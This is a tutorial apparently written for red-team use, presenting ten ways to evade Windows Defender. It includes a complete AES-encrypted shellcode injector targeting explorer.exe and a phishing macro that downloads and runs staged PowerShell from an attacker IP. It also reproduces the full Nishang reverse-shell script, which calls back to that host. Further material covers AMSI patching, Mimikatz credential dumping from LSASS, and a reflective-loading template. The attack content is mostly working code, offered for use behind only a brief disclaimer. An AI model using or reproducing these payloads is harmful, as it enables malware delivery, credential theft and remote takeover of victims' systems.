Bypassing Windows Defender (10 Ways)

Introduction

In this article I will be explaining 10 ways/techniques to bypass a fully updated Windows system with up-to-date Windows Defender intel in order to execute unrestricted code (other than permissions/ACLs, that is).

The setup used for testing consists on the following:

  • AWS EC2 with Ubuntu Linux AMI as attacker C2 server.
  • AWS EC2 with Windows Server 2019 AMI as victim machine.
  • Local Windows 10 machine with Visual Studio 2022 Community for malware development/compilation.
  • Local Kali Linux attacker machine.
  • Do note that I will not go too in depth with many concepts and I will assume basic knowledge for the most part. Moreover, I also did not choose overly complex techniques e.g. direct syscalls or hardware breakpoints since it is overkill for AVs and they would be better explained in their own article targeting EDRs anyway.

    Disclaimer: The information provided in this article is strictly intended for educational and ethical purposes only. The techniques and tools described are intended to be used in a lawful and responsible manner, with the explicit consent of the target system's owner. Any unauthorized or malicious use of these techniques and tools is strictly prohibited and may result in legal consequences. I am not responsible for any damages or legal issues that may arise from the misuse of the information provided.

    1. In-Memory AMSI/ETW patching

    The first method I would like to explain is also the one I personally use the most, as it is very convenient and fast to execute.

    AMSI, or AntiMalware Scan Interface, is a vendor-agnostic Windows security control that scans PowerShell, wscript, cscript, Office macros, etc. and sends the telemetry to the security provider (in our case Defender) to decide whether it is malicious or not.

    ETW, or Event Tracing for Windows, is another security mechanism that logs events which happen on user-mode and kernel drivers. Vendors may then analyze this information from a process to decide whether it has malicious intents or not.

    Unfortunately, Windows Defender works with very little telemetry coming from PowerShell sessions. In specific, patching AMSI for the current process will allow us to execute any fileless malware we decide, including tools (Mimikatz, Rubeus, etc.) and reverse shells.

    For this proof of concept, I will be using evil-winrm Bypass-4MSI built-in function, but it is very easy to craft our own AMSI/ETW patcher, in a PowerShell script or executable, as we will see later.

    As such, the kill chain to dump In-Memory logons with Mimikatz from the LSASS process works as follows with this method:

    In-Memory AMSI Patching PoC

    For a better understanding, the set of commands may be explained at a higher level in the following way:

  • Try to write the well-known "Invoke-Mimikatz" trigger as a way to test if Defender is active.
  • Execute evil-winrm Bypass-4MSI function to patch AMSI in the current PowerShell session.
  • Call the AV trigger again to see if AMSI telemetry works (as we can see, it is not anymore).
  • Load real Invoke-Mimikatz PowerShell module in memory with Invoke-Expression.
  • Execute Mimikatz to dump logon passwords from LSASS.
  • Note that Mimikatz execution was simply for demonstration purposes, but you may do just about everything from a PowerShell terminal without AMSI telemetry.

    2. Code obfuscation

    Code obfuscation is generally not needed or worth the time for natively-compiled languages such as C/C++ as the compiler will apply a lot of optimizations anyway. But a big part of malware and tools are written in C# and, sometimes, Java. These languages are compiled to bytecode/MSIL/CIL which can easily be reverse engineered. That means you will need to apply some code obfuscation in order to avoid signature detections.

    There are many open-source obfuscators available, but I will base this section's proof of concept on h4wkst3r' InvisibilityCloak C# obfuscator tool.

    For example, using GhostPack's Certify tool, commonly used to find vulnerable certificates in a domain, we can leverage the aforementioned tool to bypass defender as follows.

    Verify that Defender is running and blocking default Certify build
    Obfuscate Certify code with InvisibilityCloak
    Try to run obfuscated Certify

    We can see that it now worked without problems, however it throws error because the VM is not domain-joined or a Domain Controller.

    We can then conclude that it worked, however, do note that some tools may need further and deeper obfuscation than others. For example, I chose Certify in this instance instead of Rubeus as it was easier for simple demonstration purposes.

    3. Compile-Time obfuscation

    For natively-compiled languages such as C, C++, Rust, etc. you may leverage compile time obfuscation to hide the real behaviour of subroutines and general instruction flow.

    Depending on the language, there may exist different methods. As my go-to for malware development is C++, I will explain the two I have tried: LLVM obfuscation and Template Metaprogramming.

    For LLVM obfuscation, the biggest public tool is currently Obfuscator-LLVM. The project is a fork of LLVM that adds a layer of security through obfuscation to the produced binaries. The added features currently implemented are the following:

  • Instruction Substitution. Obfuscating assembly instructions to produce equivalent behaviour at a greater computational complexity.
  • Bogus Control Flow. Adding junk instruction blocks to hide original instruction code flow.
  • Control Flow Flattening. Makes branches and jumps harder to predict in order to hide intented instruction flow.
  • In conclusion, the tool generates binaries that are generally way harder to analyze statically by humans/AVs/EDRs.

    On the other hand, Template Metaprogramming is a C++ technique that allows developers to create templates that generate source code at compile time. This allows for the possibility of generating different binaries at each compilation, creating infinite numbers of branches and code blocks, etc.

    The two public frameworks I know and have used for this purpose are the following:

  • ADVobfuscator by andrivet
  • obfy by fritzone
  • For this PoC, I will be using the second one, as I find it generally easier to use.

    Moreover, for the PoC, I will be using AMSI_patch by TheD1rkMtr as the default binary to obfuscate, as it is a pretty simple C++ project. The code for the obfuscated binary may be found here.

    First, let's take a look at the base binary function tree under Ghidra.

    Default binary function tree

    As we can see, it is not too hard to analyze. And you may find the main function under the 3rd FUN_ routine.

    Default binary main function

    Which looks pretty easy to analyze and understand its behaviour (patching AMSI via AMSIOpenSession in this case).

    Now let's take a look at the obfuscated binary function tree.

    Obfuscated binary function tree

    That looks insanely harder to analyze statically, as there are many nested functions. And, as we can see, these are the introduced functions based on templates.

    Obfuscated binary junk function

    Which are simple junk functions, but really useful for hiding real behaviour.

    Now for the final test, let us try it on the real Windows system for the PoC. Note that since the binary patches AMSI for a given Process via PID as parameter, the PoC will be very similar to first method; patching AMSI for the current PowerShell session to evade Defender's in-memory scan.

    Compile-time obfuscation PoC

    And, as we can see, it worked and Defender did not stop the binary statically nor at runtime, allowing us to patch AMSI remotely for a process.

    4. Binary obfuscation/packing

    Once you already have the binary generated, your options are, mostly, the following:

  • Obfuscating the binary's assembly instructions.
  • Packing the binary.
  • Encrypting the binary's content to decrypt it at runtime.
  • Optionally, transform it to shellcode for later manipulation and injection.
  • Starting with the first, we have several open source options available, including for example:

  • Alcatraz
  • Metame
  • ropfuscator (sadly only for Linux at the moment)
  • At a high level, Alcatraz works by modifying the binary's assembly in several ways, such as obfuscating control flow, adding junk instructions, unoptimizing instructions, and hiding real entry point before runtime.

    On the other hand, Metame works by using randomness to generate different assembly (though always equivalent behaviour) on each run. This is better known as metamorphic code and commonly used by real malware.

    Finally, ROPfuscator works, as the name indicates, by leveraging Return Oriented Programming to build ROP gadgets and chains from the original code, thus hiding original code flow from static analysis and perhaps even dynamic as it would be harder for heuristics to analyze sequential malicious calls. The following image better describes the whole process.

    Continuing with binary packing, the basic architecture of a packer may be described with the following image.

    In this process, the given packer tool embeds a natively compiled PE into another executable that contains the information needed to unpack the original content and execute it. Perhaps the most well known packer, which is not even for malicious purposes, is Golang's UPX package.

    Moreover, a PE Crypter works by encrypting the executable's contents and generating an executable that will decrypt the original PE at runtime. This is very useful against AVs as most of them rely on static analysis instead of runtime behaviour (like EDRs). So completely hiding the content of an executable until runtime may be very effective, unless the AV has generated signatures against the Encrypting/Decrypting methods, which is the case from what I tried with nimpcrypt.

    Finally, we also have the option to transform a native PE back to shellcode. This may be done, for example, via hasherezade's pe_to_shellcode tool.

    Having now explained all the possible ways to evade AVs starting from an executable, I would like to mention the framework that merges all steps in one tool: inceptor by KlezVirus. The tool may get very complex, and most steps are not needed for simple Defender evasion, but it may be better explained with the following figure:

    Inceptor architecture

    In contrast to previous tools, Inceptor allows the developer to create custom templates that would modify the binary at each step in the workflow so that, even if a signature is generated for a public template, you may have your own private templates to bypass EDR hooks, patch AMSI/ETW, use hardware breakpoints, use direct syscalls instead of in-memory DLLs, etc.

    5. Encrypted Shellcode injection

    Shellcode injection is a very well-known technique that consists of inserting/injecting Position-Independent Shellcode in a given sacrificial process to finally execute it in-memory. This may be accomplished in many ways. See the following image for a good summary of publicly known ones.

    However, for this article I will be discussing and demonstrating the following method:

    1. Use Process.GetProcessByName to locate explorer process and get its PID.
    2. Open the process via OpenProcess with 0x001F0FFF access right.
    3. Allocate memory in the explorer process for our shellcode via VirtualAllocEx.
    4. Write the shellcode in the process via WriteProcessMemory.
    5. Finally, create a thread that will execute our Position-Independent Shellcode via CreateRemoteThread.

    Of course, having an executable containing malicious shellcode would be a very bad idea, as it will get instantly flagged by Defender. To counter that, we will be first encrypting the shellcode with AES-128 CBC and PKCS7 padding in order to hide its real behaviour and composition until runtime (where Defender is really weak).

    First, we will need to generate the initial shellcode. For this proof of concept I will be using a simple TCP reverse shell from msfvenom.

    Generating initial PI shellcode

    Once we have that, we will need a way to encrypt it. For that I will be using the following C# code, but feel free to encrypt it in other way (e.g., cyberchef).

    Encrypter.cs
    using System;
    using System.IO;
    using System.Security.Cryptography;
    using System.Text;
    
    namespace AesEnc
    {
        class Program
        {
            static void Main(string[] args)
            {
                byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
                byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
                byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); 
                byte[] aesshell = EncryptShell(buf, Key, IV);
                StringBuilder hex = new StringBuilder(aesshell.Length * 2);
                int totalCount = aesshell.Length;
                foreach (byte b in aesshell)
                {
                    if ((b + 1) == totalCount) 
                    {
                        hex.AppendFormat("0x{0:x2}", b);
                    }
                    else
                    {
                        hex.AppendFormat("0x{0:x2}, ", b);
                    }
                }
                Console.WriteLine(hex);
               
            }
    
            private static byte[] GetIV(int num)
            {
                var randomBytes = new byte[num]; 
                using (var rngCsp = new RNGCryptoServiceProvider())
                {
                    rngCsp.GetBytes(randomBytes);
                }
    
                return randomBytes;
            }
    
            private static byte[] GetKey(int size)
            {
                char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
                byte[] CKey = new byte[size];
                using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
                {
                    crypto.GetBytes(CKey);
                }
                return CKey;
            }
    
            private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
            {
                using (var aes = Aes.Create())
                {
                    aes.KeySize = 128;
                    aes.BlockSize = 128;
                    aes.Padding = PaddingMode.PKCS7;
                    aes.Mode = CipherMode.CBC;
                    aes.Key = key;
                    aes.IV = iv;
                    using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
                    {
                        return AESEncryptedShellCode(CShellcode, encryptor);
                    }
                }
            }
    
            private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
            {
                using (var msEncShellCode = new MemoryStream())
                using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
                {
                    cryptoStream.Write(CShellcode, 0, CShellcode.Length);
                    cryptoStream.FlushFinalBlock();
                    return msEncShellCode.ToArray();
                }
            }
        }
    }

    Compiling and running the above code with the initial shellcode in the "buf" variable will spit out the now encrypted bytes that we will use in our injector program.

    For this PoC, I also chose C# as the language for the injector, but feel free to use any other language that supports Win32 API, (C/C++, Rust, etc.)

    Finally, the code that will be used for the injector is the following:

    Injector.cs
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.IO;
    using System.Text;
    using System.Threading.Tasks;
    using System.Diagnostics;
    using System.Security.Cryptography;
    using System.Runtime.InteropServices;
    
    namespace AESInject
    {
        class Program
        {
            [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
            static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
            processId);
            [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
            static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
            static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
            [DllImport("kernel32.dll")]
            static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
            [DllImport("kernel32.dll")]
            static extern IntPtr GetCurrentProcess();
            
            static void Main(string[] args)
            {
                byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
                byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
                byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
                byte[] DShell = AESDecrypt(buf, Key, IV);
                StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
                foreach (byte b in DShell)
                {
                    hexCodes.AppendFormat("0x{0:x2},", b);
                }
                int size = DShell.Length;
                Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
                int pid = expProc[0].Id;
                IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr outSize;
                WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    
            }
    
            private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
            {
                using (var aes = Aes.Create())
                {
                    aes.KeySize = 128;
                    aes.BlockSize = 128;
                    aes.Padding = PaddingMode.PKCS7;
                    aes.Mode = CipherMode.CBC;
                    aes.Key = key;
                    aes.IV = iv;
                    using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                    {
                        return GetDecrypt(CEncryptedShell, decryptor);
                    }
                }
            }
            private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
            {
                using (var ms = new MemoryStream())
                using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
                {
                    cryptoStream.Write(data, 0, data.Length);
                    cryptoStream.FlushFinalBlock();
                    return ms.ToArray();
                }
            }
        }
    
    }

    For this article I compiled the program with dependencies for ease of transfer to the EC2, but feel free to compile it to a self-contained binary which would be around 50-60 MBs.

    Finally, we can set up a listener with netcat on our attacker/C2 machine and execute the Injector in the victim machine:

    Executing the Injector
    Getting the reverse shell

    6. Donut shellcode loading

    The Donut project by TheWover is a very effective Position-Independent shellcode generator from PEs/DLLs. Depending on the input file given, it works different ways. For this PoC I will be using Mimikatz, so let us see how it works at a high level. From a brief look at the code, this would be the main routine of the Donut.exe executable tool:

    Possible main Donut routine/function from donut.c
    // 1. validate the loader configuration
        err = validate_loader_cfg(c);
        if(err == DONUT_ERROR_OK) {
          // 2. get information about the file to execute in memory
          err = read_file_info(c);
          if(err == DONUT_ERROR_OK) {
            // 3. validate the module configuration
            err = validate_file_cfg(c);
            if(err == DONUT_ERROR_OK) {
              // 4. build the module
              err = build_module(c);
              if(err == DONUT_ERROR_OK) {
                // 5. build the instance
                err = build_instance(c);
                if(err == DONUT_ERROR_OK) {
                  // 6. build the loader
                  err = build_loader(c);
                  if(err == DONUT_ERROR_OK) {
                    // 7. save loader and any additional files to disk
                    err = save_loader(c);
                  }
                }
              }
            }
          }
        }
        // if there was some error, release resources
        if(err != DONUT_ERROR_OK) {
          DonutDelete(c);
        }

    From all of those, perhaps the most interesting one is build_loader, which contains the following code:

    build_loader function
    uint8_t *pl;
        uint32_t t;
        
        // target is x86?
        if(c->arch == DONUT_ARCH_X86) {
          c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
        } else 
        // target is amd64?
        if(c->arch == DONUT_ARCH_X64) {
          c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
        } else 
        // target can be both x86 and amd64?
        if(c->arch == DONUT_ARCH_X84) {
          c->pic_len = sizeof(LOADER_EXE_X86) + 
                       sizeof(LOADER_EXE_X64) + c->inst_len + 32;
        }
        // allocate memory for shellcode
        c->pic = malloc(c->pic_len);
         
        if(c->pic == NULL) {
          DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
          return DONUT_ERROR_NO_MEMORY;
        }
        
        DPRINT("Inserting opcodes");
        
        // insert shellcode
        pl = (uint8_t*)c->pic;
        
        // call $ + c->inst_len
        PUT_BYTE(pl,  0xE8);
        PUT_WORD(pl,  c->inst_len);
        PUT_BYTES(pl, c->inst, c->inst_len);
        // pop ecx
        PUT_BYTE(pl,  0x59);
        
        // x86?
        if(c->arch == DONUT_ARCH_X86) {
          // pop edx
          PUT_BYTE(pl, 0x5A);
          // push ecx
          PUT_BYTE(pl, 0x51);
          // push edx
          PUT_BYTE(pl, 0x52);
          
          DPRINT("Copying %" PRIi32 " bytes of x86 shellcode", 
            (uint32_t)sizeof(LOADER_EXE_X86));
            
          PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
        } else 
        // AMD64?
        if(c->arch == DONUT_ARCH_X64) {
          
          DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode", 
            (uint32_t)sizeof(LOADER_EXE_X64));
    
          // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
          
          // and rsp, -0x10
          PUT_BYTE(pl, 0x48);
          PUT_BYTE(pl, 0x83);
          PUT_BYTE(pl, 0xE4);
          PUT_BYTE(pl, 0xF0);
          // push rcx
          // this is just for alignment, any 8 bytes would do
          PUT_BYTE(pl, 0x51);
    
          PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
        } else 
        // x86 + AMD64?
        if(c->arch == DONUT_ARCH_X84) {
          
          DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
            (uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
            
          // xor eax, eax
          PUT_BYTE(pl, 0x31);
          PUT_BYTE(pl, 0xC0);
          // dec eax
          PUT_BYTE(pl, 0x48);
          // js dword x86_code
          PUT_BYTE(pl, 0x0F);
          PUT_BYTE(pl, 0x88);
          PUT_WORD(pl,  sizeof(LOADER_EXE_X64) + 5);
          
          // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
          
          // and rsp, -0x10
          PUT_BYTE(pl, 0x48);
          PUT_BYTE(pl, 0x83);
          PUT_BYTE(pl, 0xE4);
          PUT_BYTE(pl, 0xF0);
          // push rcx
          // this is just for alignment, any 8 bytes would do
          PUT_BYTE(pl, 0x51);
    
          PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
          // pop edx
          PUT_BYTE(pl, 0x5A);
          // push ecx
          PUT_BYTE(pl, 0x51);
          // push edx
          PUT_BYTE(pl, 0x52);
          PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
        }
        return DONUT_ERROR_OK;

    Again, from a brief analysis, this subroutine creates/prepares the Position-Independent shellcode based on the original executable for later injection, inserting assembly instructions to align the stack based on each architecture and making the code's flow jump to the executable's original shellcode. Note that this may not be the most updated code, as the last commit to this file was on Dec, 2022 and latest release was in March, 2023. But gives a good idea on how it works.

    Finally, getting to the proof of concept of this section, I will be executing a default Mimikatz gotten directly from gentilkiwi's repository by injecting the shellcode into the local powershell process. For that, we need to first generate the PI code.

    Executing the Injector

    Once the shellcode is generated, we can now use any injector we please for that purpose. Luckily, the latest release already comes with a local (for the process that executes it) as well as a remote (for another process) injector that Microsoft has not generated signatures for yet, so I will be using that.

    Executing the Injector

    7. Custom tooling

    Tools such as Mimikatz, Rubeus, Certify, PowerView, BloodHound, etc. are popular for a reason: they implement a lot of functionalities in a single package. This is very useful for malicious actors, as they can automate malware spread with only a few tools. However, this also means it is very easy for vendors to shut down the whole tool by registering its signature bytes (e.g., menu strings, class/namespace names in C#, etc.).

    To counter that, perhaps we do not need a whole 2-5MB tool full of registered signatures to perform one or two functions we need. For example, to dump logon passwords/hashes, we may leverage the whole Mimikatz project with sekurlsa::logonpasswords function, but we may also program our own LSASS dumper and parser in a completely different way but with similar behaviour and API calls.

    For the first example, I will be using LsaParser by Cracked5pider.

    LsaParser Execution

    Unfortunately, it is not developed for Windows Server so I had to use it on my local Windows 10, but you get the idea.

    For the second example, let's say our objective is to enumerate the shares in the whole Active Directory domain. We could use PowerView's Find-DomainShare for that, however, it is one of the most well-known open-source tools so, to be more stealthy, we could develop our own share finder tool based on the native Windows API like the following.

    RemoteShareEnum.cpp
    #include <windows.h>
    #include <stdio.h>
    #include <lm.h>
    
    #pragma comment(lib, "Netapi32.lib")
    
    int wmain(DWORD argc, WCHAR* lpszArgv[])
    {
    
        PSHARE_INFO_502 BufPtr, p;
        PSHARE_INFO_1 BufPtr2, p2;
        NET_API_STATUS res;
        LPTSTR   lpszServer = NULL;
        DWORD er = 0, tr = 0, resume = 0, i,denied=0;
        switch (argc)
        {
        case 1:
            wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
            return 1;
    
        default:
            break;
        }
        wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
        wprintf(L"-------------------------------------------------------------------------------------\n\n");
        for (DWORD iter = 1; iter <= argc-1; iter++) {
            lpszServer = lpszArgv[iter];
            do
            {
                res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
                if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
                {
                    p = BufPtr;
                    for (i = 1; i <= er; i++)
                    {
                        wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
                        p++;
                    }
                    NetApiBufferFree(BufPtr);
                }
                else if (res == ERROR_ACCESS_DENIED) {
                    denied = 1;
                }
                else
                {
                    wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
                }
            }
            while (res == ERROR_MORE_DATA);
            if (denied == 1) {
                do
                {
                    res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
                    if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
                    {
                        p2 = BufPtr2;
                        for (i = 1; i <= er; i++)
                        {
                            wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark,  lpszServer);
                            p2++;
                        }
    
                        NetApiBufferFree(BufPtr2);
                    }
                    else
                    {
                        wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
                    }
    
                }
                while (res == ERROR_MORE_DATA);
                denied = 0;
            }
    
            wprintf(L"-------------------------------------------------------------------------------------\n\n");
        }
        return 0;
    
    }

    The tool, at a high level, leverages the NetShareEnum function from the Win32 API to remotely retrieve shares served from any input endpoints. By default it tries the privileged SHARE_INFO_502 access level, which shows some extra information like the disk path, number of connections, etc. Shall it fail, it falls back to access level SHARE_INFO_1, which only shows the name of the resource but can be enumerated by any unprivileged user (unless specific ACL blocks it).

    Feel free to use the tool, available here.

    Now, we can then use it like the following:

    RemoteShareEnum execution

    Of course, custom tooling can be a very time-expensive task, as well as needing very deep knowledge with Windows internals, but it has the potential to defeat all other methods presented in this article. As such, it should be taken into consideration if everything else fails. That said, I still think it's overkill for Defender/AVs, and it is better suited for EDR evasion since you can control and include your own selection of API calls, breakpoints, order, junk data/instructions, obfuscation, etc.

    8. Payload Staging

    Breaking a payload into progressive stages is not a new technique by any means, and it is commonly used by threat actors to spread malware that evades initial static analysis. This is because the real malicious payload will be retrieved and executed at a later stage, where statical analysis might not have the chance to get into play.

    For this PoC, I will be showcasing a very simple yet effective way to stage a reverse shell payload that may be used to, for example, create a malicious Office file with the following macro:

    Macro to execute first stage
    Sub AutoOpen()
    Set shell_object = CreateObject("WScript.Shell")
    shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
    End Sub

    This, of course, would not get detected by an AV statically, as it is simply executing an apparently benign command.

    As I do not have Office installed, I will be emulating the phishing process by manually executing said command in a PowerShell Script.

    Finally, the proof of concept of this section is the following:

    stage0.txt (this would be the command executed in the phishing macro)
    IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")
    stage1.txt
    IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
    IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")
    stage2.txt
    function Invoke-PowerShellTcp 
    { 
    <#
    .SYNOPSIS
    Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
    
    .DESCRIPTION
    This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
    Also, a standard netcat can connect to this script Bind to a specific port.
    
    The script is derived from Powerfun written by Ben Turner & Dave Hardy
    
    .PARAMETER IPAddress
    The IP address to connect to when using the -Reverse switch.
    
    .PARAMETER Port
    The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
    
    .EXAMPLE
    PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
    
    Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
    the given IP and port. 
    
    .EXAMPLE
    PS > Invoke-PowerShellTcp -Bind -Port 4444
    
    Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
    
    .EXAMPLE
    PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
    
    Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
    listening on the given IP and port. 
    
    .LINK
    http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
    https://github.com/nettitude/powershell/blob/master/powerfun.ps1
    https://github.com/samratashok/nishang
    #>      
        [CmdletBinding(DefaultParameterSetName="reverse")] Param(
    
            [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
            [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
            [String]
            $IPAddress,
    
            [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
            [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
            [Int]
            $Port,
    
            [Parameter(ParameterSetName="reverse")]
            [Switch]
            $Reverse,
    
            [Parameter(ParameterSetName="bind")]
            [Switch]
            $Bind
    
        )
    
        
        try 
        {
            #Connect back if the reverse switch is used.
            if ($Reverse)
            {
                $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
            }
    
            #Bind to the provided port if Bind switch is used.
            if ($Bind)
            {
                $listener = [System.Net.Sockets.TcpListener]$Port
                $listener.start()    
                $client = $listener.AcceptTcpClient()
            } 
    
            $stream = $client.GetStream()
            [byte[]]$bytes = 0..65535|%{0}
    
            #Send back current username and computername
            $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
            $stream.Write($sendbytes,0,$sendbytes.Length)
    
            #Show an interactive PowerShell prompt
            $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
            $stream.Write($sendbytes,0,$sendbytes.Length)
    
            while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
            {
                $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
                $data = $EncodedText.GetString($bytes,0, $i)
                try
                {
                    #Execute the command on the target.
                    $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
                }
                catch
                {
                    Write-Warning "Something went wrong with execution of command on the target." 
                    Write-Error $_
                }
                $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
                $x = ($error[0] | Out-String)
                $error.clear()
                $sendback2 = $sendback2 + $x
    
                #Return the results
                $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
                $stream.Write($sendbyte,0,$sendbyte.Length)
                $stream.Flush()  
            }
            $client.Close()
            if ($listener)
            {
                $listener.Stop()
            }
        }
        catch
        {
            Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
            Write-Error $_
        }
    }
    
    Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

    Few things to note here. First, ref.txt is a simple PowerShell AMSI bypass that will allow us to patch In-Memory AMSI scaning for the current PowerShell process. Moreover, it does not matter in this case what extension the PowerShell scripts are, since their contents will be simply downloaded as text and invoked with Invoke-Expression (alias for IEX).

    We can then execute the full PoC as follows:

    Executing Stage 0 in our victim
    Victim downloads stages from our C2
    Getting reverse shell in our attacker server

    9. Reflective Loading

    You may remember from the first section that we executed Mimikatz after patching in-memory AMSI as demonstration that Defender stopped scanning our process' memory. This is because .NET exposes the System.Reflection.Assembly API that we can use to reflectively load and execute a .NET assembly (defined as "Represents an assembly, which is a reusable, versionable, and self-describing building block of a common language runtime application.") in memory.

    This is of course very useful for offensive purposes, as PowerShell uses .NET and we can use it in a script to load a whole binary in memory to bypass statical analysis where Windows Defender shines.

    The general structure of a script is the following:

    Reflective loading template
    function Invoke-YourTool
    {
        $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
        $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
        $output = New-Object System.IO.MemoryStream
        $decompressed.CopyTo( $output )
        [byte[]] $byteOutArray = $output.ToArray()
        $RAS = [System.Reflection.Assembly]::Load($byteOutArray)
    
        $OldConsoleOut = [Console]::Out
        $StringWriter = New-Object IO.StringWriter
        [Console]::SetOut($StringWriter)
    
        [ClassName.Program]::main([string[]]$args)
    
        [Console]::SetOut($OldConsoleOut)
        $Results = $StringWriter.ToString()
        $Results
      
    }

    Where Gzip is simply used to try to hide the real binary, so sometimes it may work without further bypass methods, but the most important line is the call to the Load function from System.Reflection.Assembly .NET Class to load the binary in memory. After that, we can simply invoke its main function with "[ClassName.Program]::main([string[]]$args)"

    As such, we can perform the following kill-chain to execute any binary we want:

    • Patch AMSI/ETW.
    • Reflectively load and execute the assembly.

    Luckily, this repo contains not only a lot of pre-built scripts for each famous tool but also the instructions to create your own scripts from your binaries.

